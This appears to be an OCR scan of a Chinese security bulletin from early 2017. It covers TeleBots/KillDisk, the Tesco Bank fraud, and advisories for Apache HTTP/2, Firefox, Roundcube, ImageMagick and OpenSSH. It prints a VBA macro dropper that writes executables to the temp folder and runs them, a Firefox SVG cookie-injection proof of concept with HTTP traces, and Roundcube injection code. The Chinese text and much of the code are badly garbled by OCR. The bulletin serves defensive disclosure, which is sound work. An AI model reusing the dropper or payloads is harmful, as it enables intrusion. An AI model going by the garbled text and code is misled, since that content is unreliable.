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Init24
Init2s
fnum = FreeFile
fname = Environ("TMP") "\vba_macro.exe"
Open fname Binary As #fnum
i=1To 76¢
j =@ To 127
aa = a(i)(3)
Put #fnum, , aa
Next j
Next i
Close #fnum
Dim
= Shell(fname, 1)
Sub
Initl93
Initl94

fnum = FreeFile
fname = Environ("TMP") "\explorer.exe"
Open fname Binary As #fnum

i=1 5841

@ o 127
aa = a(i)(3)
Put #fnum, , aa
Next j
Next i
@ To 99
aa = a(5842)(3)
Put #fnum, , aa
Next j
Close #fnum
Dim
= Shell(fname, 1)
End Sub

"RNEEBEEF FHexplorerexeXHERBIER_HE , ZBEHITTHE, BRI STHEBETAD
TEEERE  BE FEHRUTE—ERHE. XA B FERRusEFESRE. "

TeleBots EERETEMFFREHEBIRMBIILY 8. EREER , RBREEEBFRELEA
KillDisksEE# 4 , EEFRREERFSociety Mr Robot ( (BEZFH]) it TFEREAFSociety ) IETAIR
RZEIFRERN.
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TESCO Bank

Bank Borrow Save Insure Tools & guides Help
v v v v v v

Tesco Bank can confirm that, over the weekend, some of its customers' current accounts have
been subject to online criminal activity, in some cases resulting in money being withdrawn
fraudulently.

Online banking

We apologise for the worry and inconvenience that this has caused for customers, and can
only stress that we are taking every step to protect our customers’ accounts. That is why, as a
precautionary measure, we have taken the decision today to porarily stop onli GOTOLOGIN
transactions from current accounts. This will only affect current account customers. While
online transactions will not be available, current account customers will still be able to use
their cards for cash withdrawals, chip and pin payments, and all existing bill payments and
direct debits will continue as normal. We are working hard to resume normal service on
current accounts as soon as possible.

REGISTER NOW

We continue to work with the authorities and regulators to address the fraud and will keep
our customers informed through reguiar updates on our website, Twitter and direct
communication.

We can reassure customers that any financial loss as a result of this activity will be resolved
fully by Tesco Bank, and we are working to refund accounts that have been subject to fraud as
soon as possible.

HRSEHRENNBRE LENREZERHERR | TsecofMTHRMRR , A —REMBISEERIZE
FRREMINIKSTEEHI T RE , RREEIRFEESHEETLIRIESN. RiMiERITblog LAIEIRATLL
B, WIINERPOMZRIRHEIETIRT | REAZblogE=RE ST ERBIERBAE. FTX
WESHERLMESHE  FHRERSTHNSIE.

BRFREMENKFEEARIENER Rl T 7008 | EEEFE5EE RS Pt ASEE S
FKIES EFRVNEFTERT

PEERMBILFENREEFICTFLEEIRBIRA “TescolRITHIEMEE" RSB TIERIE.
Mk EREHERPIWEEERDREN—RERR  BETHR T WRSGASTRE—LREE |, B2
BRIMBSHET.
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Disassembly - Kemnel ‘comupipe port=\\\pipe\com_1 baud=115200reconnect’ - WinDbg6.3.9600.16384 AMDG4
Offset: $5acopeip

BERITHED TR46LIT teat bute Bty [esied] 20h ds 0023 1567¢ced~01

Command - Kernel ‘comepipe port=\\\pipe\com_1,baud=115200 reconnect’ - WinDbg:6.3.9600.16384 AMDS4
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BREA] . 80 : GozNymPER Lt Kis/ D EEBEERBELLER I 12%HER,. HREF  MELFEABLEIE

"SANEIR" RERITMLL , SIRAFHA (BEUEIREMmA , RNAFEILE , WaT ) . BLER

EEERIRTHURL MIZEEEFR (SSL) IES | EI2EESAER.

BRILRITESRTABmOEERGEERELSK , BTEEENEREFHE | FRXMEHE
BEInE, MEBRMNESHA  WELEMEETRE , HATERN , ERMANNELEEIIVORE~ |

KR 1#1E A 0 Fmalwarebenchmark
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. Apache HTTPDIE4IRSSRR
L ZE2RNES

&Rk

2016E1285H ( ZttbAT
/&) , seclists.orgMiL &% T

THE
— 5% FApache RS EIE
BIRSRANLE , BERS
79 CNNVD-201612-069 . 1%

BAFEET mod_http2i&ithe ¢ SOFTWARE FOUNDATION
XZMApache HTTPD 2.4A7hMRAFHASINRIKTFHTTP/2iMNAER, AMIZRIREIRIAE R FAH

i, BRARER | ZmBREBERHTTP/2MXAR. EERHTTP/ 2t AIIRSSEE L , IEE LA
BEREEOSERER , SBIRSHEATER | ERERS.
FEREEBIENT | http://seclists.org/oss-sec/2016/q4/595

REE

RIFIRRRE  FRIRSHAT | SEURBRSKE.

SRIAIRRE

O Apache HTTPD version 2.4.17 O Apache HTTPD version 2.4.17
O Apache HTTPD version 2.4.17 O Apache HTTPD version 2.4.17
AEZIMRIRRE

7

sy \v Y HLEHTTR/2?

.':( U HTTPR2 GESCAMHIML 2R, B4 AHTTP 2.0) , RHTTPHMUKINE —A 1%
/ WA, (ERT 4. HTTP/2ZRHTTPIM L H19994FHTTP LUK Ja e M E#HT, FEET
SPDY . ‘& M E M TRAES4L (IETF) ffHypertext Transfer Protocol Bis Chttpbis) T.{F
INEEATIT R . HTTPRIE WA RSP EEE A, KR4 MG SRR IR 5HTTP
J5E 4 TE AR 4 :
LIRS 4iE SGEA . (BIHE (IR H 2017.01 / 22 BT Q



¥ mRRE

KiBEsE

github E BEISZBRHT 7TRRBIES , o e TR,
(EERBHIEINT XTh2_stream_add_headerfRE0R EI{EE ERSAIFIRT,

status = h2_stream_add_header(stream, (const char *)name, namelen,
(const char *)value, valuelen);
if (status != APR_SUCCESS && 'h2_stream_is_ready(stream)) {
if (status == APR_ECONMRESET) {
ap_log_cerror (APLOG_MARK, APLOG_TRACE1l, status, session-»c,
"h2-stream{%1ld-%d): on_header, reset stream",
session-»id, stream->»id);
nghttp2_submit_rst_streami(ngh2, NGHTTP2_FLAG_NONE, stream->id,
MGHTTP2_INTERMAL_ERROR) ;
else if (status != APR_SUCCESS 8& !h2_stream_is_ready({stream)) {
return NGHTTPZ_ERR_TEMPORAL_CALLBACK_FAILURE;

return 8;

EEXEPER THERINEMGE , HFEEFRMAAE , RERNRESH "EEEHE" .

IRACEESEHBIEINT

https://github.com/apache/httpd/commit/29c63b786ae028d82405421585e91283c8fa0da3
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RS =S 18

- if (name[@] != ":') {
= ++stream- >request_headers_added;
- if (stream->»reguest_headers_added

- » stream-»session-»s-xlimit_reg_fields) {

= ap_log_cerror{APLOG_MARK, APLOG_TRACELl, @, stream-»session-»c,
- "h2_stream(%1d-%d)}: too many header lines",

- stream->session-»id, stream-»id);

= return h2_stream_set_error{stream,

= HTTP_REQUEST_HEADER_FIELDS_TOOD_LARGE);

|
-

+ }

+ eglse if ((nlen + 2 + wlen) » stream-»rsession-»s->1limit_req fieldsize) {
+ * header too long

+ ap_log_cerror(APLOG_MARK, APLOG_TRACE1l, @, stream->session-»c,
+ "h2_stream(%1d-%d): header %s too long",

+ stream->session-»>id, stream-»>id, name);

+ error = HTTP_REQUEST_HEADER_FIELDS_TOO_LARGE;

+ 1

+

+ if (stream-»reguest_headers_added

+ » stream-rsession->s-»1limit_req fields + 4) {

+ * too many header lines, include 4 pseudo headers

+ if (stream->rrequest_headers_added

+ » stream-»session-»s->1imit req fields + 4 + 12@8) {

+ * yeah, right

+ return APR_ECONMRESET;

g s

Apache BT EIARRIIRAER , AMgithub L ELXHZITEE T 7IRAMES | BIAFR TE&EMARRR
R, githubEEHBINT -
https://github.com/apache/httpd

ERIRRTHYEARERRE , ELBRHTTP 289 el LANBCE SR “Protocols”fTHMHIER "h27F0 "h2c” 2L
FBHTTP/2.,
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. FirefoxSiaig & cookieifFild
L BERINES

5
[

20165 12H6H , insert-script.blogspot.gruf & 7 —%XF
FirefoxE15i& B cookieRTEE , ZimBAIRE R XINNERE R IFTTIREE
XFREEERcookietITIRE., FIHFIBiZimREaESBinA P ER R
BuRZfE  MAFXSEEEFRIcookieH{TIRE.

TERSHEMIEAN T -

https://insert-script.blogspot.gr/2016/12/firefox-svg-cross-

domain-cookie.html

ERIMAIRRE

O Mozilla Firefox version < 50.0.2

AEZIMAIRE

O Mozilla Firefox version < 50.0.2

B3

LM, |, KINEFThRAN50.0. 2 ZZmEENN |, BIAPHREAZEMAIERITRA (5002) , THR
ERTF : https://www.mozilla.org/en-US/firefox/products/
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MZimENSIMERNT.

IeH , FAFAMGIRIRIEE NS , FEN TS :
] <!DCCTYPE html>

<html>

<head>

<title>SVG</titles

</head>

<body>

<img src="http://192.168.153.138/cookie">

</body>

3 </html3]

] o LN Wb L R}

Hrh, 192.168.153.138AIEERIMUL, HAXINN SR H1E) LA TR , N SERabe R EER
Rk EiEK “http://192.168.153.138/cookie” &iF , MXEEMIMIEXNZRZRHEITTEER , FEE
HTTPIEA Sk LocationdriR & T IREAAD , S TFEF: :

H<avyg xmlnz="http: /S www.w3.org/2000/svg " >

2 Fl<circle r='100">

3 <fcirclex>

4 Hl«<foreignCbject>

5 H«html xmlnsz="http:// www.w3.org/1999 /xhtml ">

& <meta http-equiv="Set-Cookie' content='ppp=qoqq' />
7 </ html>

B </ foreignCbiject>

g </ 3vgs

B EETH , WEEESERcookies "ppp=qqq” . imRELAR , HAEEMISEFRER cookie
WTFEF :

2017.01 / Z& BT @



aa#pFht: http: //localhost/test3. html
HdRAE GET
imishhhl : [::1]:880
PEME: A 394 Not Modified
RE# @ HTTP/1.1
TEEEL
MEREE (0.184 KB)
Accept-Ranges: "bytes”
Date: "Thu, 08 Dec 2016 11:12:06 GMT"
Etag: ""d7cBe7634351421:0"
Last-Modified: "Thu, 08 Dec 2016 11:08:22 GMT"
Server: "Microsoft-115/7.5"
L (0,445 KB)
Host: "localhost”
User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; ne50.0) Gecko/20100101 Firefox/30.0"
Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*:.q=0.8"
Accept-Language: “zh-CN,zh;g=0.8,en-U%;q=0.5,en;q=0.3"
Accept-Encoding: "gzip, deflate”

=R Fiaik

Connection: "keep-alive”
Upgrade-Insecure-Requests: "1°

If-Modified-Since: "Thu, 08 Dec 2016 11:08:22 GMT"
If-None-Match: ""d7c5e7634351421.0™
Cache-Control: "max-age=0"

Tk, DRETHRIWE , NSRS RERIREENMNLY  FREER  BiRERML S Location
N7 BEEAS

O =257/ 20170



Cookie = 1 fad E= 30
WL http: /192,168,153, 138/ cookie

Wi GET

in¥Ehhl : 192.168.153.138: 8@

H5E: A 302 Redirect REIER Rk

REd : HTTR/L.1
HEsEL
IHEFL (0.374 KB)
Content-Length: "398"
Content-Type: "text/hitml; charset=UTF-8"
Date: "Thu, 08 Dec 2016 10:58:57 GMT"
Location: "data:iimage/svg +xml, <svg xmlns="http:/fw...pp=qqq’ /= </html= < fforeignObject= =/svg="
Server: "Microsoft-115/7.5"
3L (0.286 KB)
Host: "192,168,153.138"
User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOWS4: rn:50.0) Gecko/20100101 Firefox/50.0"
Accept: "5
Accept-Language: “zh-CM,zh;q=0.8,en-US;q=0.5,en;q=0.3"
Accept-Encoding: "gzip, deflate”
Referer: "http://localhost/test.html”
Connection: "keep-alive”

ZfE  BRBEIEEMIERS |, NS BE® £ T IEETESER cookie

2017.01 / 22 BT Q



Cookie 217 IERE =0 T
E#Fik: http: //localhost/test3. html
aHEE GET
imiEhbhl - [::1]:80
REES: A 384 Mot Modified
RR# : HTTP/1.1
HiEeELk
~ MR (0.184 KB)
Accept-Ranges: "bytes"
Date: "Thu, 08 Dec 2016 11:16:50 GMT"
Etag: ""d7cbe7634351d21:0""
Last-Modified: "Thu, 08 Dec 2016 11:08:22 GMT"
Server: "Microsoft-115/7.5"
v B3k (0.437 KB)
Host: "localhost”
User-Agent: "Mozilla/3.0 (Windows NT 8.1; WOW84; n:50.0) Gecko /20100101 Firefox,/50.0"
Accept: “text/himl| application/xhtml +xml application/xml;q=0.9,7/*q=0.8"
Accept-Language: "zh-CN zh:q=0.8,en-U5:q=0.5enq=0.3"
Accept-Encoding: "gzip, deflate”
<cookie: "ppp=qaq’__
Connection: “keep-alive”
Upgrade-Insecure-Requests: "1"
If-Modified-Since: "Thu, 08 Dec 2016 11:08:22 GMT"
If-None-Match: ""d7c6e7634351d421:.0™

=R [Fimdk
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. Roundcube®m ST HEiR
L ZERINES

&Rk

2016512H6H ( LiAdE ) , blog.ripstech.comfiut &% T
—&XFRoundcubeinfZap SHITIRIARTER. ERoundcubel.2.2
RELBTRRA S , deliver message() R 7E V8 FBPHP N2 R 4
mail O BTAYEE S NS A ARSI BERZ 6218 |, mail O REHRE
FlE&f18PHPH TsendmailiER , MRS RIS SNSRI
sendmail iRFHTEE , MiTFEEsendmail R FISHMERERFE
X, EE BRI AR MBI RIS EEEPHP UGS ro U n d C U be

webrootHE,

TERSEESEUNT -
https://blog.ripstech.com/2016/roundcube-command-execution-via-email/

REE

RIFIRRRE  ATASBIRER<SHIT.

k=2 A ][ S

O Roundcube version 1.1.x< 1.1.7 O Roundcube version 1.2.x< 1.2.3
AEZRWEIRRES

O Roundcube version 1.1.x=1.1.7 O Roundcube version 1.2.x=1.2.3

? Cy {+4E2Roundcube?

ol % Roundcube Webmailig —MMET XL, 2 EIE S MIMAPE Fim, #RIESHE G

AN EEN AR ER A e-mail F ) i M B K A B R IEMIME SR, bk i, 301
KERAE G RERAPIGRES. GIHE (AEARD D
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¥ mRRE

IR

ZmRAIRNER | F#ldeliver_message(fEIEREmMail ) RERIFHE NI S M SEREES TR | SHWEE
FLxsendmailfEFE TECENMIRFEMERERS G+ |, EMEREE BN S EEPHPX BN RS S
BwebrootERH. fAIRRAIRIZL TR :

program/steps/mail/sendmail.inc
Sfrom = rcube_utils::get_input_value(’_from’, rcube_utils::INPUT_POST, true, Smessage_charset);

Ssent = SRCMAIL->deliver_message(SMAIL_MIME, Sfrom, Smailto,Ssmtp_error, Smailbody_file, Ssmtp_opts);

ERABMPOSTSEIHRIREX " from” BYE , HEBEIEAE N SEIE Ndeliver_message()REL,
program/lib/Roundcube/rcube.php

public function deliver_message(&Smessage, $from, Smailto, &Serror, &Sbody _file = null, Soptions = null) {

if (filter_var(ini_get(‘safe_mode’), FILTER_VALIDATE_BOOLEAN))
Ssent = mail(Sto, Ssubject, Smsg_body, Sheader_str);

else
Ssent = mail(Sto, Ssubject, Smsg_body, Sheader_str, “-fSfrom”);

M EIAESIEREEBILIBAISEUE Amail () BREL,
SRR MAIRELT
else if (Sfrom_string = rcmail_email_input_format($from)) {
if (preg_match(‘/(\S+@\S+)/‘, Sfrom_string, Sm))
Sfrom = trim(Sm1, ‘<>‘);

else
Sfrom = null;

B EIARIEX AFEHNSE0#T T IENFRIARICE , }ABFPBARER T IRER ;| Azt iSEERE
rcmail_email_input_format()BREUREITRUERS A £ #H1T. TEE—Trcmail_email_input_format() & %g
AOEMARSCIN

program/steps/mail/sendmail.inc

@ 22 F7) / 2017.01
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function rcmail_email_input_format(Smailto, Scount=false, Scheck=true)
{
global SRCMAIL, SEMAIL_FORMAT_ERROR, SRECIPIENT_COUNT;
// simplified email regexp, supporting quoted local part
Semail_regexp = ‘(\S+| ("[*]+")) @\S+*;
// replace new lines and strip ending ‘, ‘, make address input more valid
Smailto = trim(preg_replace(Sregexp, Sreplace, Smailto));
Sitems = rcube_utils::explode_quoted_string(Sdelim, Smailto);
Sresult = array();
foreach (Sitems as Sitem) {
Sitem = trim(Sitem);
// address in brackets without name (do nothing)
if (preg_match(‘/A<‘.Semail_regexp.>S/’, Sitem)) {
Sitem = rcube_utils::idn_to_ascii(trim(Sitem, ‘<>‘));
Sresult[] = Sitem;

}
else if (trim(Sitem)) {
continue;

}
}
if (Scount) {

SRECIPIENT_COUNT += count(Sresult);
}
return implode(’, ‘, Sresult);

ERREEHEY “if (preg_match( /A< “$email_regexp. '>$/' , $item))” BILMEREEBEITIER
HRICECRY , NTISEEESresulthz |, XTEIRAHMTHEZSTFALSE , NTISERIERZANTIEMSET |
RESHIRRNRE.

YR E

BERNEERH THMNZRRIRAER , @B REAZRMAERITRA , THIEAT

https://roundcube.net/download/
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n ImageMagick/E45TIFFE FixfE{X
N BHTEREL RMES

&Rk

20165E12H3H , talosintelligence.comit & T
—%XFImageMagickitfE N IBHITIRIEINER | RiRR
5CVE-2016-8707, ImageMagick7E/E4ETIFFE F A
FHEAFBANATEASANEE , H5IER MR8
BRI AT T.

AR R BIEAN T -

http://www.talosintelligence.com/reports/TALOS
-2016-0216/

REE

PRI RRRE | SEURERBRHIIT.

SRR

O ImageMagick version < 7.0.3-9

ZRIMRIRRE

O ImageMagick version = 7.0.3-9

B R

ERNCEEHIRATMEE TiZRR  BNAPAREIARAZRMAIRIRA (7.03-0MA ) , THIREMT :

http://www.imagemagick.org/script/binary-releases.php

&~ .3
Y ft4&ImageMagick?

': % ImageMagick® = HCIE S ME N, TTHRER. Bk KgmEEIE, Hid 2005
® 4 8 B, HE LI RisfT.
ImageMagick 11 1V 2 gm F21E & BT SCFF, B¥GPerl, C++, PHP, PythonflIRuby%:, I
B TER AT T, 1, A AT G RIRAT I R B R SE(CMS) .
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. OpenSSHIZR2LIBH TR
B RO RMES

&Rk

2016512819 , OpenSSHEM A T —

A OpenSSHESKRAES , EHIRADES THS M e N

79CVE-2016-1000945R . ZBRIFREETE ' en SS‘H |

iE{Tssh-agent(ZIR B BIEITES Fik) HOH1SE § ] el Nl il el

EINE—NERERPKCSHINTIREIREE BN | oo ALRIGR L LA

by KEEPING YOUR COMMUNIOUES SECRET
AR T

http://www.openssh.com/txt/release-7.4

wRRE

RIIF ARG  SEITEEBHRIT.

SRR

O OpenSSH version < 7.4

AEZRWAIRRES

O OpenSSH version = 7.4

B R

BERNEEART TZREINRAER , ENAPAREAZRMAIRITRA , THRIENT

http://www.openssh.com/portable.html

2017.01 / Z& BT @



x

"\
!
\

"NSFOCUS

Y

S =1l

O fEiRsE
oo Mmﬁ ¥ wmanmeez
%ﬁ/ N R N z z g
Sy (= 43
NEEE SOP
e ¥ wewnwmns - I
FanBhi
O mmES
| ———————— amapresva | plReTS |

T e T e e e A e T e e

Products to Solution + Operations

7=’ NSFOCUS Il ; r THE EXPERT
® . 3 BEHIND GIANTS
* A E**’F H’]%i
* ‘ L ‘ y - i . '

EEEﬂ&‘Eﬁﬁﬁ iliﬁﬁﬂﬁﬁﬁ#&i‘

RS54k 400-818-6868









L iR EEWEBRIFIBSNIEERSE (WAF )
V6.0.6.0IFFU 4T

4358 WebR B X ERIEITIFLLEE Web Z2051P86. FERENARE. MHUIREEERLIEHARS
71, BEEFRE Web WS 2HHEEEMERK, Hiikd V6.0R06F00 ( V6.0.6.0 ) FABIER A7h.

E— : ARWE——RESIZE

R

WAF606055R% 732 ARIIRESZ , T IFRISQUENIXSSKIEFTE RSN , NMRHESAEN=RIE
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